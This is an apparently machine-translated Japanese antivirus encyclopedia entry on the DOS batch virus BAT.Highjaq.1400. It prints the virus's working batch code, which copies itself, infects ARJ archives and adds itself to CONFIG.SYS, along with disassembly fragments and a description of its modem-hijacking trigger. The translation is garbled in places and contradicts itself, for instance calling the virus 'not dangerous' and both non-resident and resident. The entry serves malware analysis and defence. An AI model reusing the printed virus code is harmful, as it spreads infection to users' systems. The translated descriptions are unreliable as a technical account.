Virus.BAT.Highjaq.1400 (Kaspersky Lab)
は以下の名称でも知られています:
BAT.Highjaq.1400 (Kaspersky Lab),
Bat/hij (McAfee), BAT.HIGHJAQ.1400 (Symantec), Highjaq (Sophos), BAT/Highjack* (RAV), ARJDROP.402 (Trend Micro), VGEN/2208.0 (H+BEDV), BAT/Highjaq (FRISK), Highjaq-1400 (ALWIL), BAT.Highjaq.1400 (SOFTWIN), WinStart.2 (ClamAV), BAT/Highjaq.1400 (Panda)
それは、BAT ファイルやデバイスドライバーにそれ自身を置く危険なウイルスワームではありません。ウイルスは、メモリに常駐しなく、感染されたファイルに TSR コードを持ちませんが、デバイスドライバーとして実行されます。ウイルスは、メモリに常駐して、"AreYouHere?" をコールするために INT 21h を横取り、トリガールーチンのために INT 8 を横取ります。
ウイルスは、2つのコードで構成されます。最初の部分は、テキストデータです。それは、ウイルスが BAT ファイルとして実行される時に実行されます。第2の部分は、バイナリーデータで、それは、COM ファイルあるいはデバイスドライバーとして実行される時にコントロールを獲得します。
コードのテキストの部分は、下記(データがバイナリーコードとして実行される時に、ラベルはコントロールをバスします。)のように見えます。
::pFqD
@ctty nul
copy/b %0.bat+%0 c:\q.com
dir \*.arj/s/b|c:\q.com/i
:qlpj
if errorlevel 1 goto qWpU
ren c:\q.com UMKQYGWK.5KA
echo INSTALLHIGH=C:\UMKQYGWK.5KA>>c:\config.sys
:qWpU
for %%a in (%0 %0.bat) do if exist %%a set q=%%a
del c:\q.com
ctty con
@del %q%
ウイルスは、BAT ファイルとして実行されると C:\Q.COM file にそれ自身をコピーします(3番目のライン)。それは、他のファイルを感染させるために使われる COM ドロッパーです。ウイルスは、そのコードをコピーするためにファイル名によってのみ、あるいはウイルスがコマンドを使う完全なファイル名及びその問題を解決することによって感染させられたファイルを実行させます。
COPY %0.BAT+%0
ウイルスは、現在のディスクのディレクトリツリーで全ての ARJ アーカイブを見つけるために DIR コマンドを実行して、それらの名前を Q.COM ファイルに渡します(4番目のライン)。Q.COM ファイル は、ウイルスの TSR コードがメモリーにあることを示すエラーレベルを返します。もしメモリが感染させられていなければ(ウイルスは、デバイス・ドライバーとしてロードされませんでした。)、ウイルスは、その COM ドロッパーから "UMKQYGWK.5KA" の名前にリネームして C:\CONFIG.SYS の終わりに文字列を書きます(7番目と8番目のライン)。
INSTALLHIGH=C:\UMKQYGWK.5KA
結果、ウイルスは、システムデバイスドライバーのリストにその名前を追加します。ウイルスは、その時、ホストファイルと C:\Q.COM ファイルを削除します。
ウイルスは、COM ファイルとして実行されると(3番目のライン参照)、標準のインプットから ARJ アーカイブの名前を得て、アーカイブを調べてアーカイブの終りにデータのブロックを追加します。データのそのブロックは、/WINSTART.BAT ファイルとしてウイルスのコードを含みます。ウイルスは、アーカイブにそれを保存する時にそのコードは圧縮されませんが、「保存された」データとして保たれます。
ウイルスのバイナリーのコードは、幾つかのジャンプの後でファイルヘッダーからコントロールを奪います。
0100 3A 3A CMP BH,[BP+SI] ; text: ::pFqD
0102 70 46 JO Jmp_a
0104 71 44 JNO Jmp_a
.... . . . . .
0149 3A DB 3Ah ; text: :qlpj
014A Jmp_a:
014A 71 6C JNO Jmp_b
014C 70 6A JO Jmp_b
.... . . . . .
01B7 3A DB 3Ah ; text: :qWpU
01B8 Jmp_b:
01B8 71 57 JNO Main_Code
01BA 70 55 JO Main_Code
.... . . . . .
0211 Main_Code:
.... . . . . .
テキスト文字列は、現実のアセンブラーインストラクションとしてプロセッサーによって実行され、どんな場合でも JO/JNO インストラクションは、バイナリーウイルスコードにコントロールを移します。コードが見つかると、ウイルスは、デバイスドライバー(コマンドラインに、引数はありません。)あるいは COM ファイル(引数は、/i。BAT コード参照)として実行され、コントロールを2のうち1つのルーチンに変えます。
ウイルスは、デバイスドライバーとして実行されると、INT 8h と 21h を横取ってメモリに常駐します。デバイスドライバーのウイルスは、システムドライバー(ファイルの先頭に、FFFFFFFFh が無し。)の形式ではありません。ウイルスは、デバイスリクエストによってメモリにそれ自身を保持することが出来ませんが、DOS のコール INT 21h, AH=31h の代わりに使われます。
ウイルスは、INT 8h を横取ることによって、その内部のカウンターを実行し、もしPCが Windows 3.x で稼働していなければ、ウイルスは、システムを再起動します。ウイルスは、INT 21h を横取ることによって、"AreYouHere?" コール(AX=FEFEh, ウイルスのリターン SI=1994h)をインターセプトして、もしファィルの名前が "/W" 付きで開始されれば、"GetFileAttributes" コール(INT 21h, AX=4300)を終結させます。ウイルスは、ARJ アーカイブにそのドロッパーを保護するかも知れません。(それらは、そこに名前が /WINSTART.BAT で保存されます。)
デバイスドライバーや COM ファイルが引数無しに実行されると、ウイルスは、また、ホストファイル名を入手してその属性を「Hidden」と「ReadOnly」に設定します。
ウイルスは、また、システム COM ポートを調べて、それぞれの Scratch Register と Line Status Register からデータを読みます。もし Scratch Register が 'Q' 文字(51h)を返せば、ウイルスは、トリガールーチンを実行します。もし DataSetReady と ClearToSend のビットが Line Status Register に設定されると、ウイルスは、幾つかの固定アドレスに DOS カーネルへのポート番号を書きます。その活動に関していかなる理由も参照しません。
トリガールーチンが実行されると、それは、スクリーンをクリアして、ポートを初期化して、INT 14h コール(それは、0Dh, 0Ah バイトです。)を使って COM ポートに文字列を書きます。
ATL0M0A<cr>
モデムは、正確にモデムに応答するでしょう。しかしウイルスは、モデムスピーカーの音を弱めたり切断するでしょう。その時、ウイルスは、幾つかの方法を使って COM ポートへ出力します。
HIGHJAQ on COMx:38400,N,8,1<cr>
ウイルスは、その時、INT 8h を横取ってパラメータ付きで C:\COMMAND.COM ファイルを実行します。
C:\ COM1 /E:1024/P/F
ハンドラーは、モデムキャリア検出ビットを調べて、もしキャリアが見つけられれば、PCを再起動します。